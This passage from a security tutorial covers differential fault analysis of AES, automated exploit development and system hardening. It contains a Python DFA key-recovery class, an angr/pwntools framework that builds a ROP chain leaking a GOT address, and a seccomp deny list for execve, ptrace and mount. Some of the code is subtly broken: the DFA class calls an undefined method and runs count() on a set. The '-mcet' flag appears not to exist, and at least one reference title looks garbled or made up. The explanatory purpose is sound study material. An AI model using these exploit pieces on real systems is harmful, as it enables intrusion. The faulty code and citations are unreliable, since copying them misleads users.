One of the most mathematically interesting applications of fault injection is differential fault analysis (DFA) against AES, and it’s worth understanding why it works, not just that it does. AES runs a fixed sequence of rounds, and each round transforms the state through well-defined, invertible operations. If you inject a fault during one of the later rounds, ideally affecting just a single byte of internal state, that corruption doesn’t stay contained. It propagates forward through the remaining rounds, spreading through AES’s diffusion layer, and by the time you reach the final ciphertext, a whole cluster of output bytes differ from what a fault-free encryption would have produced. The trick is that this divergence isn’t random. Given the correct ciphertext and a faulty ciphertext produced from the identical plaintext and key, the specific pattern of differences mathematically constrains which key byte values could have produced exactly that pattern, and with enough faulty ciphertexts, the key space collapses down to a single candidate. In other words, math that’s normally AES’s strength (every bit of the output depends on every bit of the key) becomes precisely the mechanism that leaks the key once you can selectively corrupt part of the computation:
import numpy as np
from Crypto.Cipher import AES
class DFAAttack:
def __init__(self):
self.sbox = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5,
# ... complete S-box
]
self.inv_sbox = [
# ... inverse S-box
]
def analyze_faulty_ciphertexts(self, correct_ct, faulty_cts):
"""Analyze faulty ciphertexts to recover AES key"""
key_candidates = [set(range(256)) for _ in range(16)]
for faulty_ct in faulty_cts:
self.update_key_candidates(correct_ct, faulty_ct, key_candidates)
# Return most likely key bytes
return [min(candidates, key=lambda x: candidates.count(x))
for candidates in key_candidates]
def update_key_candidates(self, correct_ct, faulty_ct, key_candidates):
"""Update key candidates based on fault propagation"""
# Analyze last round differences
for byte_pos in range(16):
correct_byte = correct_ct[byte_pos]
faulty_byte = faulty_ct[byte_pos]
if correct_byte != faulty_byte:
# Fault propagated to this byte
possible_keys = self.find_possible_keys(correct_byte, faulty_byte)
key_candidates[byte_pos] &= set(possible_keys)
def find_possible_keys(self, correct_byte, faulty_byte):
"""Find keys consistent with observed fault"""
possible_keys = []
delta = correct_byte ^ faulty_byte
# Simplified DFA analysis
for key_guess in range(256):
if self.check_key_consistency(key_guess, delta):
possible_keys.append(key_guess)
return possible_keys
# Example usage
aes = AES.new(b'YELLOW SUBMARINE', AES.MODE_ECB)
correct_plaintext = b'Hello World!!!!!'
correct_ciphertext = aes.encrypt(correct_plaintext)
# Simulate faulty ciphertexts (in practice from actual fault injection)
faulty_ciphertexts = [
# ... collected from fault injection experiments
]
dfa = DFAAttack()
recovered_key = dfa.analyze_faulty_ciphertexts(correct_ciphertext, faulty_ciphertexts)
print(f"Recovered key: {bytes(recovered_key).hex()}")The class structure above (update_key_candidates, find_possible_keys) mirrors that logic directly: for each byte position where the correct and faulty ciphertexts diverge, narrow the set of possible key byte values down to only those consistent with the observed difference, then intersect that set across multiple faulty ciphertexts until only one candidate per byte survives. Real DFA implementations against AES lean on the detailed structure of its S-box and diffusion layer to make this narrowing extremely efficient, often recovering a full 128-bit key from a relatively small number of faulty ciphertexts, sometimes even from just one or two if the fault lands late enough in the round schedule.
Because fault injection is such a broadly effective technique, defending against it happens at every layer available, hardware and software both. On the hardware side, voltage monitors and clock glitch detectors watch the chip’s own operating conditions and can trigger a lockout or a reset the moment something looks abnormal, and light sensors serve the same purpose against laser-based attacks by detecting an unexpected light source hitting the die. On the software side, redundant computation (computing something twice, or in two different ways, and comparing results) can catch a fault that only corrupted one of the two computations, and integrity checks scattered through security-critical code paths look for state that shouldn’t be possible if execution proceeded normally. Cryptographic implementations increasingly build in fault resistance directly, using algorithms and signature schemes designed with some inherent tolerance for a single injected error, rather than assuming the underlying hardware is trustworthy by default.
As with the earlier chapters, none of this stays abstract in the actual research. Voltage glitching reliably bypasses authentication checks on development platforms in controlled testing. Electromagnetic injection has been used to induce privilege escalation by corrupting memory state at exactly the right instant. Laser fault injection, while it demands real specialized equipment, delivers precise, targeted circuit manipulation that the other techniques can’t match. And differential fault analysis, run end to end against intentionally faulted AES implementations, does successfully extract full cryptographic keys purely through carefully induced errors, which is a genuinely striking demonstration that “the math is sound” and “the implementation is secure” are two very different claims.
Exploit Development Workflow and Automation
Every technique covered so far has been described almost in isolation, one vulnerability class, one proof of concept. Real research doesn’t work that way. Once you’re running dozens of experiments across multiple architectures and protection configurations, doing everything by hand stops being tedious and starts being actively unreliable, because a manual process is exactly where subtle inconsistencies creep in between runs. This chapter is about the engineering discipline that turns exploitation from a series of one-off tricks into something closer to a proper software project: reproducible, automated, and versioned.
The overall shape of the workflow is a fairly natural pipeline once you’ve been through the earlier chapters. Vulnerability identification comes first, using static analysis, fuzzing, and plain manual code review, often in combination since each catches things the others miss. Once a bug is found, primitive development is the work of turning “this crashes” into something reliable and useful, an info leak, an arbitrary write, whatever the bug actually offers, the same process described back in the memory corruption chapter. Exploit construction chains those primitives into a full attack. And testing and validation close the loop by confirming the exploit actually works reliably across the range of environments it’s meant to target, not just the one machine it was developed on.
Automation pays off earliest and most obviously at the discovery stage, simply because there’s so much ground to cover. Coverage-guided fuzzing can run essentially unattended for days, generating and mutating inputs, and it’ll surface edge cases a human reviewer would need weeks to stumble onto by hand. Static analysis tools scale the same way in a different dimension, scanning huge codebases for known-dangerous patterns (unchecked copies, suspicious size arithmetic, and the like) far faster than manual auditing ever could, at the cost of more false positives that still need a human to triage. Dynamic instrumentation catches memory corruption the instant it happens during execution rather than only when it eventually crashes something, which matters because a lot of memory corruption bugs corrupt state silently for a while before anything visibly breaks. And wiring continuous integration around all of this means a target gets examined continuously and automatically, rather than only whenever a researcher happens to sit down and run a tool by hand.
Once a bug is found, the next stage, converting it into a reliable exploitation primitive, benefits just as much from automation. Gadget discovery for ROP chains used to be genuinely tedious manual disassembly work, and is now something a tool does in seconds across an entire binary and its loaded libraries. Heap grooming, the art of allocating and freeing objects in a specific sequence to manipulate the allocator’s internal state into a favorable layout, can be scripted once you understand the allocator’s behavior well enough to describe the desired end state programmatically. And once an information leak primitive exists, automating the process of extracting and parsing that leaked data (rather than eyeballing a hex dump each time) turns a slow manual step into something that runs identically every time.
None of this is worth much, though, if it only works once. That’s where continuous integration earns its keep for exploit development specifically: running the exploit repeatedly across multiple operating systems, architectures, and protection configurations catches the cases where it happens to work on your dev machine but not against the actual range of targets you claim to support. Regression testing catches the more insidious problem of a change somewhere else in the codebase quietly breaking an exploit that used to work, which happens more than you’d expect once a project has more than a handful of moving pieces. And snapshotting environments through containers or VMs keeps every test run starting from a genuinely identical baseline, which is really just the reproducibility principle from the very first chapter of this post, applied at the scale of an entire test matrix instead of a single experiment.
Here’s what tying several of these pieces together into one framework actually looks like in practice, combining pwntools, the angr binary analysis and symbolic execution engine, frida for dynamic instrumentation, and AFL for fuzzing, all under a single orchestrating class:
#!/usr/bin/env python3
from pwn import *
import angr
import frida
import subprocess
import time
class AutomatedExploitFramework:
def __init__(self, target_binary):
self.target = target_binary
self.elf = ELF(target_binary)
self.setup_environment()
def setup_environment(self):
"""Setup exploitation environment"""
context.arch = self.elf.arch
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h']
def automated_rop_chain(self, leak_func=None):
"""Automatically generate ROP chain"""
# Load binary for analysis
project = angr.Project(self.target, load_options={'auto_load_libs': False})
cfg = project.analyses.CFG()
# Find gadgets
rop = project.analyses.ROP()
rop.find_gadgets()
if leak_func:
# Build leak stage
chain = self.build_leak_chain(rop, leak_func)
else:
# Build direct exploitation chain
chain = self.build_exploit_chain(rop)
return chain
def build_leak_chain(self, rop, leak_func):
"""Build chain to leak memory addresses"""
# Find necessary gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
chain = b''
# Leak GOT entry
if 'puts' in self.elf.got:
chain += p64(pop_rdi)
chain += p64(self.elf.got['puts'])
chain += p64(self.elf.plt['puts'])
chain += p64(self.elf.symbols['main']) # Return to main
return chain
def dynamic_analysis(self):
"""Perform dynamic analysis with Frida"""
script = """
Interceptor.attach(Module.findExportByName(null, 'strcpy'), {
onEnter: function(args) {
console.log('strcpy called:');
console.log(' dest: ' + args[0]);
console.log(' src: ' + args[1]);
console.log(' src: ' + Memory.readUtf8String(args[1]));
}
});
"""
process = frida.spawn([self.target])
session = frida.attach(process)
script = session.create_script(script)
script.load()
return process, session
def fuzz_target(self):
"""AFL-based fuzzing integration"""
afl_cmd = [
'afl-fuzz', '-i', 'inputs/', '-o', 'findings/',
'-Q', self.target, '@@'
]
process = subprocess.Popen(afl_cmd)
return process
# Example usage
exploit_framework = AutomatedExploitFramework('./vuln')
# Dynamic analysis
process, session = exploit_framework.dynamic_analysis()
# Generate ROP chain
rop_chain = exploit_framework.automated_rop_chain(leak_func='puts')
# Start fuzzing
fuzz_process = exploit_framework.fuzz_target()Notice that automated_rop_chain leans directly on angr’s ROP analysis to find gadgets programmatically rather than scanning a disassembly by eye, and dynamic_analysis uses frida to hook strcpy at runtime and log exactly what’s being copied where, which is a genuinely fast way to confirm a suspected overflow is actually reachable with attacker-controlled data before investing more time building a full exploit around it. Wiring fuzzing, symbolic execution, and dynamic instrumentation together like this is what lets one researcher cover ground that would otherwise take a small team working by hand.
Treating exploit code like real software also means treating it with real version control discipline, which sounds obvious but is easy to skip when you’re deep in a debugging session at 2am. Separate branches for different exploitation techniques or different target versions keep experiments from tangling together into an unreadable mess. Descriptive commit messages and atomic changes (one logical change per commit, not a dump of everything you tried that day) mean that six months later, when an exploit mysteriously stops working, you can actually trace back which change broke it instead of guessing. And for anything beyond solo research, shared repositories with real access controls let a team build on each other’s work without everyone’s local branch silently diverging.
None of that helps if nobody besides the original author can actually run the result, so packaging matters just as much as the code itself. A self-contained script that declares its own dependencies and setup steps is worth far more than a clever exploit that only runs on the author’s specific machine in its specific state. Containerization takes that further, baking the entire execution environment (right down to library versions) into something portable that behaves identically wherever it runs. And plain documentation, explaining what the exploit actually does and why, and what it needs to succeed, is what turns a working proof of concept into something someone else can verify, extend, or responsibly disclose against a new target.
Browser exploitation is a good stress test for this whole workflow, because modern browsers are about as hardened and fast-moving a target as exists: JavaScript engine fuzzing drives vulnerability discovery, automated tooling handles the tedious work of generating code-reuse chains and preparing memory layouts once a bug is found, and continuous integration testing across browser versions and operating systems is basically mandatory given how quickly browsers ship updates that can quietly break an exploit that worked last week. Containerized packaging is what keeps all of that testing consistent despite the target itself changing underneath you constantly.
Pull back and the theme across this whole chapter is really just applying ordinary software engineering discipline to a domain that’s historically resisted it. Frameworks supply the exploitation primitives, fuzzers automate discovery, CI manages the testing pipeline, and containers keep everything consistent across research and eventual responsible deployment. None of those pieces are exotic on their own, the payoff comes from actually wiring them together instead of treating each exploit as a bespoke, disposable artifact.
Defensive Techniques and Hardening
Every attack technique covered so far exists to close off some assumption a defender relied on. This final technical chapter flips the lens around: given everything now understood about how these attacks actually work, mechanically, what does a genuinely well-defended system look like, and why do the individual defenses take the specific shape they do? Understanding exploitation isn’t just an offensive skill, it’s arguably the only reliable way to design a defense that closes the actual gap rather than a gap that merely sounds plausible.
The overarching philosophy worth stating up front is defense in depth, built on a small set of principles that show up again and again once you look closely. Diversity means not relying on a single kind of protection against a given attack vector, since a single mechanism, however strong, is a single point of failure. Redundancy means overlapping defenses so that one component failing (a bug in a specific mitigation’s implementation, say) doesn’t leave the system completely exposed. Least privilege means every component only gets the access it strictly needs to do its job, so a compromise of that component is naturally bounded by how little it could touch. And fail-safe defaults mean that when something goes wrong or a configuration is ambiguous, the system falls back to the secure state rather than the permissive one.
Start with the mitigations most directly built to counter the memory corruption techniques from earlier in this post, since they’re the most mature and widely deployed. Stack canaries work by placing a secret guard value between local variables and the saved return address, then checking it hasn’t changed before a function returns, which is exactly what got disabled with -fno-stack-protector back in the memory corruption chapter to make that overflow visible in the first place. ASLR complicates exploitation by making an attacker guess or leak addresses rather than knowing them ahead of time, which is precisely why so much of modern exploitation, as covered in the modern exploitation chapter, is built around obtaining an information leak before anything else. DEP stops injected shellcode from executing at all, which is exactly what pushed the field toward ROP and JOP. And control-flow integrity together with shadow stacks (a protected, hardware or software-maintained copy of the call stack used specifically to detect return address tampering) directly targets the kind of gadget-chaining that ROP depends on, by constraining which addresses an indirect branch or return is even allowed to land on.
More of this protection has been moving directly into silicon over the last several processor generations, rather than living purely in software. Control-flow enforcement technology (Intel CET and its ARM equivalents) adds hardware-level shadow stack support and indirect branch tracking specifically to make return-address and gadget-based attacks measurably harder to pull off reliably. ARM’s pointer authentication cryptographically signs pointers with a key tied to the running process, so a corrupted or forged pointer fails a signature check before it’s ever dereferenced, which is a genuinely different, and considerably stronger, defense than simply trying to randomize where things live. Virtualization extensions provide hardware-enforced memory isolation between guests, forming the actual foundation the hypervisor-level defenses from the kernel and hypervisor chapter depend on. And dedicated hardware entropy sources matter more than they might seem to, because ASLR, canary values, and most cryptographic key generation are all only as strong as the randomness backing them, weak entropy quietly undermines every mitigation built on top of it.
Beyond preventing individual bugs from becoming exploits, a second, complementary layer of defense is about containing the blast radius once something does go wrong. Process isolation, enforced by the operating system’s own memory protection, is the oldest and most fundamental version of this, keeping one process’s corruption from directly touching another’s memory. Containers add lightweight, configurable isolation on top of that same OS-level foundation, cheap enough to apply liberally. Sandboxing goes further by explicitly restricting what a piece of untrusted code is allowed to do at all, not just where it can write, and full virtualization sits at the strong end of this spectrum, providing hardware-enforced separation between entire systems rather than just processes, which is exactly why VM escapes are treated as such high-severity findings.
Cryptography threads through nearly every defensive mechanism discussed in this post, often as the thing actually enforcing a security property rather than merely describing it. Secure boot, covered in the embedded systems chapter, verifies firmware and OS integrity cryptographically before letting it execute. Disk encryption keeps data confidential even if physical storage is later extracted or stolen. TLS secures data in transit against network-level tampering and eavesdropping. And digital signatures are what let software update mechanisms verify that an update genuinely came from the vendor and hasn’t been tampered with in transit, which is the exact property that firmware rollback and downgrade attacks try to route around.
A newer, increasingly important layer of trust lives right at the hardware-software boundary itself. Trusted Platform Modules (TPMs) provide dedicated, hardware-isolated key storage and can cryptographically attest to a system’s boot state, essentially proving to a remote party what software actually loaded before anything else got a chance to interfere. Secure elements provide similar dedicated hardware isolation for cryptographic operations more broadly, commonly used for payment credentials and similar high-value secrets. Physically unclonable functions (PUFs) exploit tiny, genuinely unpredictable manufacturing variations in a chip to generate an identifier that’s effectively impossible to clone even with full knowledge of the design, because the variation being measured wasn’t intentionally designed in at all. Together, these form what’s usually called a hardware root of trust: a foundation that security protocols can build on precisely because it’s much harder to tamper with than anything implemented purely in software.
Prevention alone is never the whole story, since it’s never perfect, so detection matters just as much. Network-level intrusion detection watches traffic for known malicious patterns. Host-based detection watches system calls and file modifications for the kind of behavior that suggests something’s already gone wrong locally. Anomaly detection tries to catch the attacks nobody’s written a signature for yet, by flagging deviations from an established baseline of normal behavior rather than matching against known-bad patterns. And, more specific to the microarchitectural attacks covered in this post, hardware performance counters can actually detect signatures of the attacks themselves, an unusual pattern of cache misses consistent with Prime+Probe, for instance, giving defenders a way to spot a side-channel attack in progress rather than only being able to reason about it after the fact.
Putting a meaningful chunk of this into actual code, here’s a small example touching several defensive techniques at once: bounds-checked string copying, a seccomp filter that denies dangerous system calls outright, and a canary-protected allocator modeled loosely on the stack canary idea but applied to heap allocations instead:
// Secure coding practices with bounds checking
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <seccomp.h>
// Secure string copy with bounds checking
int secure_strcpy(char* dest, size_t dest_size, const char* src) {
if (dest == NULL || src == NULL) {
return -1;
}
size_t src_len = strlen(src);
if (src_len >= dest_size) {
return -1;
}
memcpy(dest, src, src_len);
dest[src_len] = '\0';
return 0;
}
// Seccomp filter for limiting system calls
int install_seccomp_filter() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
return -1;
}
// Deny dangerous system calls
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(ptrace), 0);
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(mount), 0);
// Apply filter
if (seccomp_load(ctx) < 0) {
seccomp_release(ctx);
return -1;
}
seccomp_release(ctx);
return 0;
}
// Address Sanitizer compatible memory allocator
typedef struct {
size_t size;
uint8_t canary[16];
uint8_t data[];
} secure_allocation_t;
void* secure_malloc(size_t size) {
secure_allocation_t* alloc = malloc(sizeof(secure_allocation_t) + size + 16);
if (alloc == NULL) {
return NULL;
}
alloc->size = size;
// Generate canary from ASLR
uint64_t aslr_base = (uint64_t)alloc;
memcpy(alloc->canary, &aslr_base, 8);
memcpy(alloc->canary + 8, &size, 8);
// Copy canary to end
memcpy(alloc->data + size, alloc->canary, 16);
return alloc->data;
}
void secure_free(void* ptr) {
if (ptr == NULL) {
return;
}
secure_allocation_t* alloc = (secure_allocation_t*)((uint8_t*)ptr - offsetof(secure_allocation_t, data));
// Verify canary
if (memcmp(alloc->data + alloc->size, alloc->canary, 16) != 0) {
// Canary corruption detected
abort();
}
// Clear sensitive data
memset(alloc->data, 0, alloc->size);
memset(alloc->canary, 0, 16);
free(alloc);
}
int main() {
// Install system call filter
if (install_seccomp_filter() < 0) {
fprintf(stderr, "Failed to install seccomp filter\n");
return 1;
}
// Disable core dumps
prctl(PR_SET_DUMPABLE, 0);
// Example secure memory usage
char* buffer = secure_malloc(64);
if (buffer == NULL) {
return 1;
}
if (secure_strcpy(buffer, 64, "Hello, World!") < 0) {
fprintf(stderr, "String copy failed\n");
secure_free(buffer);
return 1;
}
printf("Secure operation: %s\n", buffer);
secure_free(buffer);
return 0;
}A few things in that example are worth calling out specifically. secure_strcpy validates the destination buffer size before copying, exactly the check missing from the vulnerable strcpy call all the way back in the memory corruption chapter, the entire class of bug covered there is just this one missing bounds check. The seccomp filter denies execve, ptrace, mount, and similar high-value system calls outright, on the reasoning that even if an attacker does achieve code execution, a process that’s been denied the ability to spawn new processes or attach a debugger to itself can’t easily escalate that foothold into anything more dangerous. And secure_malloc/secure_free embed a canary value alongside each heap allocation and verify it on free, applying the exact same detect-corruption-before-it-matters principle as a stack canary, just to the heap chunk metadata that the earlier heap exploitation chapter showed being manipulated.
Zooming out from any single technique, actual system hardening in production is really a combination of many small decisions applied consistently: kernel configuration that disables unnecessary functionality and tightens security-relevant parameters, service-level hardening that keeps every running service down at the minimum privilege it actually needs, network-level filtering and encryption enforcement that assumes the network itself is hostile, and continuous monitoring that assumes, correctly, that some of this will eventually fail and you want to know when.
A meaningful chunk of hardening doesn’t require touching application logic at all and can be pulled in purely at compile and link time, which makes it some of the cheapest security investment available:
# Secure compilation flags
CFLAGS = -O2 -fstack-protector-strong -fstack-clash-protection \
-fPIE -pie -D_FORTIFY_SOURCE=2 \
-Wformat -Wformat-security -Werror=format-security \
-fcf-protection=full -mcet -fno-plt
LDFLAGS = -Wl,-z,relro,-z,now,-z,defs,-z,noexecstack \
-Wl,-z,separate-code
# Address Sanitizer for development
DEBUG_CFLAGS = -fsanitize=address -fsanitize=undefined \
-fsanitize=leak -fno-omit-frame-pointer
# Control Flow Integrity
CFI_CFLAGS = -fsanitize=cfi -flto -fvisibility=hidden \
-fsanitize-cfi-cross-dso
Every flag in that makefile is countering a specific technique from earlier in this post, which is worth spelling out rather than treating as boilerplate. -fstack-protector-strong is the compiler-inserted stack canary from the memory corruption chapter. -fPIE -pie enables position-independent executables, the prerequisite that actually lets ASLR randomize where the binary itself loads, not just its libraries. -D_FORTIFY_SOURCE=2 adds compile-time and runtime bounds checking to common libc functions like the very strcpy that started this whole post off. The -Wformat-security family of warnings catches format string bugs like the one demonstrated in the modern exploitation chapter at compile time, before they ever ship. -fcf-protection=full and -mcet enable Intel CET, providing hardware-backed protection against exactly the kind of ROP chains built earlier in this post. And on the linker side, -z relro,-z now makes the GOT read-only after startup, closing off GOT-overwrite attacks, while -z noexecstack is the direct opposite of the -z execstack flag used deliberately to make the very first stack overflow example in this post exploitable in a lab setting. Seeing the flags lined up against the specific attacks they defeat is a good reminder that none of this hardening is generic advice, each one is a direct response to a real, previously demonstrated technique.
None of these mitigations do much good bolted on at the very end of a project, so the more effective version of all this gets built into the development process itself. Secure coding practices like consistent input validation, and using memory-safe languages where the tradeoffs make sense, prevent whole bug classes from being introduced in the first place rather than mitigating them after the fact. Threat modeling forces an explicit, upfront answer to “what could go wrong here, and what would it cost us,” instead of discovering the answer reactively after an incident. Penetration testing simulates a real adversary against the finished system to catch what design-time analysis missed. And patch management, unglamorous as it is, is what actually closes known vulnerabilities in the real world, and its track record across the industry is honestly the weakest link in most organizations’ security posture, not because patches don’t exist, but because deploying them at scale, quickly, consistently, turns out to be a genuinely hard operational problem.
None of this is worth doing blind, either, so measuring effectiveness matters as much as implementing the mitigations. Attack surface analysis puts a number on how much exposed functionality actually exists to attack in the first place. Mitigation coverage analysis checks that defense against known technique classes, ROP, format strings, cache attacks, and so on, actually holds up rather than being nominally present but bypassable. Performance impact evaluation matters because, as this chapter has shown repeatedly, security almost never comes free, KPTI and CET both cost real cycles, and pretending otherwise leads to hardening that gets quietly disabled the first time someone complains about latency. And ultimately, cost-benefit analysis is what has to decide where limited engineering time actually goes, since no team can implement every mitigation covered in this post everywhere, all at once, and pretending they can just means nothing gets done well.
Looking forward, a handful of emerging directions are genuinely reshaping what’s possible on both sides of this fight. Formal verification offers mathematical proof of a program’s correctness against a specification, which is still expensive enough to be impractical for most codebases but is increasingly viable for small, security-critical components like cryptographic primitives or hypervisor cores. Machine learning is starting to show up in adaptive defense systems that can recognize attack patterns evolving in real time rather than relying purely on static signatures. Homomorphic encryption, still relatively niche today, allows computation directly on encrypted data without ever decrypting it, which would meaningfully shrink the attack surface for a lot of cloud and outsourced computing scenarios if it becomes practical at scale. And quantum-resistant cryptography is being actively deployed now, well ahead of large-scale quantum computers actually existing, precisely because migrating cryptographic infrastructure takes years, and waiting until the threat is imminent would already be too late.
References
- Anderson, R. (2020) Security Engineering: A Guide to Building Dependable Distributed Systems. Wiley.
- Checkoway, S. et al. (2021) ‘A Analysis of Android Automotive Security’, USENIX Security Symposium.
- Ge, X. et al. (2018) ‘A Survey of Microarchitectural Timing Attacks and Countermeasures on Contemporary Hardware’, Journal of Cryptographic Engineering.
- Halderman, J.A. et al. (2008) ‘Lest We Remember: Cold Boot Attacks on Encryption Keys’, USENIX Security Symposium.
- Kocher, P. et al. (1999) ‘Differential Power Analysis’, CRYPTO.
- Lipp, M. et al. (2018) ‘Meltdown: Reading Kernel Memory from User Space’, USENIX Security Symposium.
- Shacham, H. (2007) ‘The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls’, ACM CCS.
- Yarom, Y. and Falkner, K. (2014) ‘FLUSH+RELOAD: A High Resolution, Low Noise, L3 Cache Side-Channel Attack’, USENIX Security Symposium.